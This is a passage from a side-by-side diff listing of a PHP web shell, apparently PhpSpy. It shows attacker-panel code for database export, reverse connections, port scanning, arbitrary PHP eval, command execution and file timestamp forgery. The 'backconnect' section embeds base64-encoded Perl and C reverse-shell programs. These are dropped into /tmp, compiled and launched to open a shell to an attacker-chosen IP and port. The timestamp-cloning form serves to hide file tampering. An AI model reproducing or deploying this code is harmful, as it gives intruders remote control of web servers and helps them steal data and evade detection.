| 1222 | p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a></td>'); | 1222 | p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a></td>'); |
| 1223 | p('</tr>'); | 1223 | p('</tr>'); |
| 1224 | } | 1224 | } |
| 1225 | p('<tr class="head">'); | 1225 | p('<tr class="head">'); |
| 1226 | p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>'); | 1226 | p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>'); |
| 1227 | p('<td>Name</td>'); | 1227 | p('<td>Name</td>'); |
| 1228 | p('<td>Rows</td>'); | 1228 | p('<td>Rows</td>'); |
| 1229 | p('<td>Data_length</td>'); | 1229 | p('<td>Data_length</td>'); |
| 1230 | p('<td>Create_time</td>'); | 1230 | p('<td>Create_time</td>'); |
| 1231 | p('<td>Update_time</td>'); | 1231 | p('<td>Update_time</td>'); |
| 1232 | if ($highver) { | 1232 | if ($highver) { |
| 1233 | p('<td>Engine</td>'); | 1233 | p('<td>Engine</td>'); |
| 1234 | p('<td>Collation</td>'); | 1234 | p('<td>Collation</td>'); |
| 1235 | } | 1235 | } |
| 1236 | p('<td>Operate</td>'); | 1236 | p('<td>Operate</td>'); |
| 1237 | p('</tr>'); | 1237 | p('</tr>'); |
| 1238 | p('<tr class='.bg().'>'); | 1238 | p('<tr class='.bg().'>'); |
| 1239 | p('<td> </td>'); | 1239 | p('<td> </td>'); |
| 1240 | p('<td>Total tables: '.$table_num.'</td>'); | 1240 | p('<td>Total tables: '.$table_num.'</td>'); |
| 1241 | p('<td>'.$table_rows.'</td>'); | 1241 | p('<td>'.$table_rows.'</td>'); |
| 1242 | p('<td>'.$data_size.'</td>'); | 1242 | p('<td>'.$data_size.'</td>'); |
| 1243 | p('<td colspan="'.($highver ? 5 : 3).'"> </td>'); | 1243 | p('<td colspan="'.($highver ? 5 : 3).'"> </td>'); |
| 1244 | p('</tr>'); | 1244 | p('</tr>'); |
| 1245 | 1245 | ||
| 1246 | p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$dbname.".sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" value=\"Export selection table\" /></td></tr>"); | 1246 | p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$dbname.".sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" value=\"Export selection table\" /></td></tr>"); |
| 1247 | makehide('doing','backupmysql'); | 1247 | makehide('doing','backupmysql'); |
| 1248 | formfoot(); | 1248 | formfoot(); |
| 1249 | p("</table>"); | 1249 | p("</table>"); |
| 1250 | fr($query); | 1250 | fr($query); |
| 1251 | } | 1251 | } |
| 1252 | } | 1252 | } |
| 1253 | } | 1253 | } |
| 1254 | tbfoot(); | 1254 | tbfoot(); |
| 1255 | @mysql_close(); | 1255 | @mysql_close(); |
| 1256 | }//end mysql | 1256 | }//end mysql |
| 1257 | 1257 | ||
| 1258 | elseif ($action == 'backconnect') { | 1258 | elseif ($action == 'backconnect') { |
| 1259 | !$yourip && $yourip = $_SERVER['REMOTE_ADDR']; | 1259 | !$yourip && $yourip = $_SERVER['REMOTE_ADDR']; |
| 1260 | !$yourport && $yourport = '12345'; | 1260 | !$yourport && $yourport = '12345'; |
| 1261 | $usedb = array('perl'=>'perl','c'=>'c'); | 1261 | $usedb = array('perl'=>'perl','c'=>'c'); |
| 1262 | 1262 | ||
| 1263 | $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". | 1263 | $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". |
| 1264 | "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". | 1264 | "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". |
| 1265 | "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". | 1265 | "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". |
| 1266 | "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". | 1266 | "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". |
| 1267 | "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". | 1267 | "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". |
| 1268 | "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". | 1268 | "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". |
| 1269 | "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; | 1269 | "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; |
| 1270 | $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". | 1270 | $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". |
| 1271 | "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". | 1271 | "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". |
| 1272 | "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". | 1272 | "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". |
| 1273 | "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". | 1273 | "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". |
| 1274 | "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". | 1274 | "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". |
| 1275 | "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". | 1275 | "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". |
| 1276 | "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". | 1276 | "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". |
| 1277 | "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; | 1277 | "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; |
| 1278 | 1278 | ||
| 1279 | if ($start && $yourip && $yourport && $use){ | 1279 | if ($start && $yourip && $yourport && $use){ |
| 1280 | if ($use == 'perl') { | 1280 | if ($use == 'perl') { |
| 1281 | cf('/tmp/angel_bc',$back_connect); | 1281 | cf('/tmp/angel_bc',$back_connect); |
| 1282 | $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &"); | 1282 | $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &"); |
| 1283 | } else { | 1283 | } else { |
| 1284 | cf('/tmp/angel_bc.c',$back_connect_c); | 1284 | cf('/tmp/angel_bc.c',$back_connect_c); |
| 1285 | $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); | 1285 | $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); |
| 1286 | @unlink('/tmp/angel_bc.c'); | 1286 | @unlink('/tmp/angel_bc.c'); |
| 1287 | $res = execute("/tmp/angel_bc $yourip $yourport &"); | 1287 | $res = execute("/tmp/angel_bc $yourip $yourport &"); |
| 1288 | } | 1288 | } |
| 1289 | m("Now script try connect to $yourip port $yourport ..."); | 1289 | m("Now script try connect to $yourip port $yourport ..."); |
| 1290 | } | 1290 | } |
| 1291 | 1291 | ||
| 1292 | formhead(array('title'=>'Back Connect')); | 1292 | formhead(array('title'=>'Back Connect')); |
| 1293 | makehide('action','backconnect'); | 1293 | makehide('action','backconnect'); |
| 1294 | p('<p>'); | 1294 | p('<p>'); |
| 1295 | p('Your IP:'); | 1295 | p('Your IP:'); |
| 1296 | makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip)); | 1296 | makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip)); |
| 1297 | p('Your Port:'); | 1297 | p('Your Port:'); |
| 1298 | makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport)); | 1298 | makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport)); |
| 1299 | p('Use:'); | 1299 | p('Use:'); |
| 1300 | makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use)); | 1300 | makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use)); |
| 1301 | makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt')); | 1301 | makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt')); |
| 1302 | p('</p>'); | 1302 | p('</p>'); |
| 1303 | formfoot(); | 1303 | formfoot(); |
| 1304 | }//end | 1304 | }//end |
| 1305 | 1305 | ||
| 1306 | elseif ($action == 'portscan') { | 1306 | elseif ($action == 'portscan') { |
| 1307 | !$scanip && $scanip = '127.0.0.1'; | 1307 | !$scanip && $scanip = '127.0.0.1'; |
| 1308 | !$scanport && $scanport = '21,25,80,110,135,139,445,1433,3306,3389,5631,43958'; | 1308 | !$scanport && $scanport = '21,25,80,110,135,139,445,1433,3306,3389,5631,43958'; |
| 1309 | formhead(array('title'=>'Port Scan')); | 1309 | formhead(array('title'=>'Port Scan')); |
| 1310 | makehide('action','portscan'); | 1310 | makehide('action','portscan'); |
| 1311 | p('<p>'); | 1311 | p('<p>'); |
| 1312 | p('IP:'); | 1312 | p('IP:'); |
| 1313 | makeinput(array('name'=>'scanip','size'=>20,'value'=>$scanip)); | 1313 | makeinput(array('name'=>'scanip','size'=>20,'value'=>$scanip)); |
| 1314 | p('Port:'); | 1314 | p('Port:'); |
| 1315 | makeinput(array('name'=>'scanport','size'=>80,'value'=>$scanport)); | 1315 | makeinput(array('name'=>'scanport','size'=>80,'value'=>$scanport)); |
| 1316 | makeinput(array('name'=>'startscan','value'=>'Scan','type'=>'submit','class'=>'bt')); | 1316 | makeinput(array('name'=>'startscan','value'=>'Scan','type'=>'submit','class'=>'bt')); |
| 1317 | p('</p>'); | 1317 | p('</p>'); |
| 1318 | formfoot(); | 1318 | formfoot(); |
| 1319 | 1319 | ||
| 1320 | if ($startscan) { | 1320 | if ($startscan) { |
| 1321 | p('<h2>Result »</h2>'); | 1321 | p('<h2>Result »</h2>'); |
| 1322 | p('<ul class="info">'); | 1322 | p('<ul class="info">'); |
| 1323 | foreach(explode(',', $scanport) as $port) { | 1323 | foreach(explode(',', $scanport) as $port) { |
| 1324 | $fp = @fsockopen($scanip, $port, $errno, $errstr, 1); | 1324 | $fp = @fsockopen($scanip, $port, $errno, $errstr, 1); |
| 1325 | if (!$fp) { | 1325 | if (!$fp) { |
| 1326 | p('<li>'.$scanip.':'.$port.' ------------------------ <span style="font-weight:bold;color:#f00;">Close</span></li>'); | 1326 | p('<li>'.$scanip.':'.$port.' ------------------------ <span style="font-weight:bold;color:#f00;">Close</span></li>'); |
| 1327 | } else { | 1327 | } else { |
| 1328 | p('<li>'.$scanip.':'.$port.' ------------------------ <span style="font-weight:bold;color:#080;">Open</span></li>'); | 1328 | p('<li>'.$scanip.':'.$port.' ------------------------ <span style="font-weight:bold;color:#080;">Open</span></li>'); |
| 1329 | @fclose($fp); | 1329 | @fclose($fp); |
| 1330 | } | 1330 | } |
| 1331 | } | 1331 | } |
| 1332 | p('</ul>'); | 1332 | p('</ul>'); |
| 1333 | } | 1333 | } |
| 1334 | } | 1334 | } |
| 1335 | 1335 | ||
| 1336 | elseif ($action == 'eval') { | 1336 | elseif ($action == 'eval') { |
| 1337 | $phpcode = trim($phpcode); | 1337 | $phpcode = trim($phpcode); |
| 1338 | if($phpcode){ | 1338 | if($phpcode){ |
| 1339 | if (!preg_match('#<\?#si', $phpcode)) { | 1339 | if (!preg_match('#<\?#si', $phpcode)) { |
| 1340 | $phpcode = "<?php\n\n{$phpcode}\n\n?>"; | 1340 | $phpcode = "<?php\n\n{$phpcode}\n\n?>"; |
| 1341 | } | 1341 | } |
| 1342 | eval("?".">$phpcode<?"); | 1342 | eval("?".">$phpcode<?"); |
| 1343 | } | 1343 | } |
| 1344 | formhead(array('title'=>'Eval PHP Code')); | 1344 | formhead(array('title'=>'Eval PHP Code')); |
| 1345 | makehide('action','eval'); | 1345 | makehide('action','eval'); |
| 1346 | maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode)); | 1346 | maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode)); |
| 1347 | p('<p><a href="http://w'.'ww.4ng'.'el.net/php'.'spy/pl'.'ugin/" target="_blank">Get plugins</a></p>'); | 1347 | p('<p><a href="http://w'.'ww.4ng'.'el.net/php'.'spy/pl'.'ugin/" target="_blank">Get plugins</a></p>'); |
| 1348 | formfooter(); | 1348 | formfooter(); |
| 1349 | }//end eval | 1349 | }//end eval |
| 1350 | 1350 | ||
| 1351 | elseif ($action == 'editfile') { | 1351 | elseif ($action == 'editfile') { |
| 1352 | if(file_exists($opfile)) { | 1352 | if(file_exists($opfile)) { |
| 1353 | $fp=@fopen($opfile,'r'); | 1353 | $fp=@fopen($opfile,'r'); |
| 1354 | $contents=@fread($fp, filesize($opfile)); | 1354 | $contents=@fread($fp, filesize($opfile)); |
| 1355 | @fclose($fp); | 1355 | @fclose($fp); |
| 1356 | $contents=htmlspecialchars($contents); | 1356 | $contents=htmlspecialchars($contents); |
| 1357 | } | 1357 | } |
| 1358 | formhead(array('title'=>'Create / Edit File')); | 1358 | formhead(array('title'=>'Create / Edit File')); |
| 1359 | makehide('action','file'); | 1359 | makehide('action','file'); |
| 1360 | makehide('dir',$nowpath); | 1360 | makehide('dir',$nowpath); |
| 1361 | makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1)); | 1361 | makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1)); |
| 1362 | maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents)); | 1362 | maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents)); |
| 1363 | formfooter(); | 1363 | formfooter(); |
| 1364 | 1364 | ||
| 1365 | goback(); | 1365 | goback(); |
| 1366 | 1366 | ||
| 1367 | }//end editfile | 1367 | }//end editfile |
| 1368 | 1368 | ||
| 1369 | elseif ($action == 'newtime') { | 1369 | elseif ($action == 'newtime') { |
| 1370 | $opfilemtime = @filemtime($opfile); | 1370 | $opfilemtime = @filemtime($opfile); |
| 1371 | //$time = strtotime("$year-$month-$day $hour:$minute:$second"); | 1371 | //$time = strtotime("$year-$month-$day $hour:$minute:$second"); |
| 1372 | $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); | 1372 | $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); |
| 1373 | formhead(array('title'=>'Clone folder/file was last modified time')); | 1373 | formhead(array('title'=>'Clone folder/file was last modified time')); |
| 1374 | makehide('action','file'); | 1374 | makehide('action','file'); |
| 1375 | makehide('dir',$nowpath); | 1375 | makehide('dir',$nowpath); |
| 1376 | makeinput(array('title'=>'Alter folder/file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); | 1376 | makeinput(array('title'=>'Alter folder/file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); |
| 1377 | makeinput(array('title'=>'Reference folder/file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1)); | 1377 | makeinput(array('title'=>'Reference folder/file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1)); |
| 1378 | formfooter(); | 1378 | formfooter(); |
| 1379 | formhead(array('title'=>'Set last modified')); | 1379 | formhead(array('title'=>'Set last modified')); |
| 1380 | makehide('action','file'); | 1380 | makehide('action','file'); |
| 1381 | makehide('dir',$nowpath); | 1381 | makehide('dir',$nowpath); |
| 1382 | makeinput(array('title'=>'Current folder/file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); | 1382 | makeinput(array('title'=>'Current folder/file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); |
| 1383 | p('<p>year:'); | 1383 | p('<p>year:'); |
| 1384 | makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4)); | 1384 | makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4)); |
| 1385 | p('month:'); | 1385 | p('month:'); |
| 1386 | makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2)); | 1386 | makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2)); |
| 1387 | p('day:'); | 1387 | p('day:'); |
| 1388 | makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2)); | 1388 | makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2)); |
| 1389 | p('hour:'); | 1389 | p('hour:'); |
| 1390 | makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2)); | 1390 | makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2)); |
| 1391 | p('minute:'); | 1391 | p('minute:'); |
| 1392 | makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2)); | 1392 | makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2)); |
| 1393 | p('second:'); | 1393 | p('second:'); |
| 1394 | makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2)); | 1394 | makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2)); |
| 1395 | p('</p>'); | 1395 | p('</p>'); |
| 1396 | formfooter(); | 1396 | formfooter(); |
| 1397 | goback(); | 1397 | goback(); |
| 1398 | }//end newtime | 1398 | }//end newtime |
| 1399 | 1399 | ||
| 1400 | elseif ($action == 'shell') { | 1400 | elseif ($action == 'shell') { |
| 1401 | if (IS_WIN && IS_COM) { | 1401 | if (IS_WIN && IS_COM) { |
| 1402 | if($program && $parameter) { | 1402 | if($program && $parameter) { |
| 1403 | $shell= new COM('Shell.Application'); | 1403 | $shell= new COM('Shell.Application'); |
| 1404 | $a = $shell->ShellExecute($program,$parameter); | 1404 | $a = $shell->ShellExecute($program,$parameter); |
| 1405 | m('Program run has '.(!$a ? 'success' : 'fail')); | 1405 | m('Program run has '.(!$a ? 'success' : 'fail')); |
| 1406 | } | 1406 | } |
| 1407 | !$program && $program = 'c:\windows\system32\cmd.exe'; | 1407 | !$program && $program = 'c:\windows\system32\cmd.exe'; |
| 1408 | !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt'; | 1408 | !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt'; |
| 1409 | formhead(array('title'=>'Execute Program')); | 1409 | formhead(array('title'=>'Execute Program')); |
| 1410 | makehide('action','shell'); | 1410 | makehide('action','shell'); |
| 1411 | makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1)); | 1411 | makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1)); |
| 1412 | p('<p>'); | 1412 | p('<p>'); |
| 1413 | makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter)); | 1413 | makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter)); |
| 1414 | makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); | 1414 | makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); |
| 1415 | p('</p>'); | 1415 | p('</p>'); |
| 1416 | formfoot(); | 1416 | formfoot(); |
| 1417 | } | 1417 | } |
| 1418 | formhead(array('title'=>'Execute Command')); | 1418 | formhead(array('title'=>'Execute Command')); |
| 1419 | makehide('action','shell'); | 1419 | makehide('action','shell'); |
| 1420 | if (IS_WIN && IS_COM) { | 1420 | if (IS_WIN && IS_COM) { |
| 1421 | $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open'); | 1421 | $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open'); |
| 1422 | makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1)); | 1422 | makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1)); |
| 1423 | } | 1423 | } |
| 1424 | p('<p>'); | 1424 | p('<p>'); |
| 1425 | makeinput(array('title'=>'Command','name'=>'command','value'=>htmlspecialchars($command))); | 1425 | makeinput(array('title'=>'Command','name'=>'command','value'=>htmlspecialchars($command))); |
| 1426 | makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); | 1426 | makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); |
| 1427 | p('</p>'); | 1427 | p('</p>'); |
| 1428 | formfoot(); | 1428 | formfoot(); |
| 1429 | 1429 | ||
| 1430 | if ($command) { | 1430 | if ($command) { |
| 1431 | p('<hr width="100%" noshade /><pre>'); | 1431 | p('<hr width="100%" noshade /><pre>'); |
| 1432 | if ($execfunc=='wscript' && IS_WIN && IS_COM) { | 1432 | if ($execfunc=='wscript' && IS_WIN && IS_COM) { |
| 1433 | $wsh = new COM('WScript.shell'); | 1433 | $wsh = new COM('WScript.shell'); |
| 1434 | $exec = $wsh->exec('cmd.exe /c '.$command); | 1434 | $exec = $wsh->exec('cmd.exe /c '.$command); |
| 1435 | $stdout = $exec->StdOut(); | 1435 | $stdout = $exec->StdOut(); |
| 1436 | $stroutput = $stdout->ReadAll(); | 1436 | $stroutput = $stdout->ReadAll(); |
| 1437 | echo $stroutput; | 1437 | echo $stroutput; |
| 1438 | } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) { | 1438 | } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) { |
| 1439 | $descriptorspec = array( | 1439 | $descriptorspec = array( |
| 1440 | 0 => array('pipe', 'r'), | 1440 | 0 => array('pipe', 'r'), |
| 1441 | 1 => array('pipe', 'w'), | 1441 | 1 => array('pipe', 'w'), |
| 1442 | 2 => array('pipe', 'w') | 1442 | 2 => array('pipe', 'w') |
| 1443 | ); | 1443 | ); |
| 1444 | $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes); | 1444 | $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes); |
| 1445 | if (is_resource($process)) { | 1445 | if (is_resource($process)) { |
| 1446 | fwrite($pipes[0], $command."\r\n"); | 1446 | fwrite($pipes[0], $command."\r\n"); |
| 1447 | fwrite($pipes[0], "exit\r\n"); | 1447 | fwrite($pipes[0], "exit\r\n"); |
| 1448 | fclose($pipes[0]); | 1448 | fclose($pipes[0]); |
| 1449 | while (!feof($pipes[1])) { | 1449 | while (!feof($pipes[1])) { |
| 1450 | echo fgets($pipes[1], 1024); | 1450 | echo fgets($pipes[1], 1024); |
| 1451 | } | 1451 | } |
| 1452 | fclose($pipes[1]); | 1452 | fclose($pipes[1]); |
| 1453 | while (!feof($pipes[2])) { | 1453 | while (!feof($pipes[2])) { |
| 1454 | echo fgets($pipes[2], 1024); | 1454 | echo fgets($pipes[2], 1024); |
| 1455 | } | 1455 | } |
| 1456 | fclose($pipes[2]); | 1456 | fclose($pipes[2]); |
| 1457 | proc_close($process); | 1457 | proc_close($process); |
| 1458 | } | 1458 | } |
| 1459 | } else { | 1459 | } else { |
| 1460 | echo(execute($command)); | 1460 | echo(execute($command)); |
| 1461 | } | 1461 | } |
| 1462 | p('</pre>'); | 1462 | p('</pre>'); |
| 1463 | } | 1463 | } |
| 1464 | }//end shell | 1464 | }//end shell |
| 1465 | 1465 | ||
| 1466 | elseif ($action == 'phpenv') { | 1466 | elseif ($action == 'phpenv') { |
| 1467 | $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'; | 1467 | $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'; |
| 1468 | $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'); | 1468 | $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'); |
| 1469 | !$dis_func && $dis_func = 'No'; | 1469 | !$dis_func && $dis_func = 'No'; |
| 1470 | $info = array( | 1470 | $info = array( |
| 1471 | 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)), | 1471 | 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)), |
| 1472 | 2 => array('Server Domain',$_SERVER['SERVER_NAME']), | 1472 | 2 => array('Server Domain',$_SERVER['SERVER_NAME']), |
| 1473 | 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])), | 1473 | 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])), |
| 1474 | 4 => array('Server OS',PHP_OS), | 1474 | 4 => array('Server OS',PHP_OS), |
| 1475 | 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']), | 1475 | 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']), |
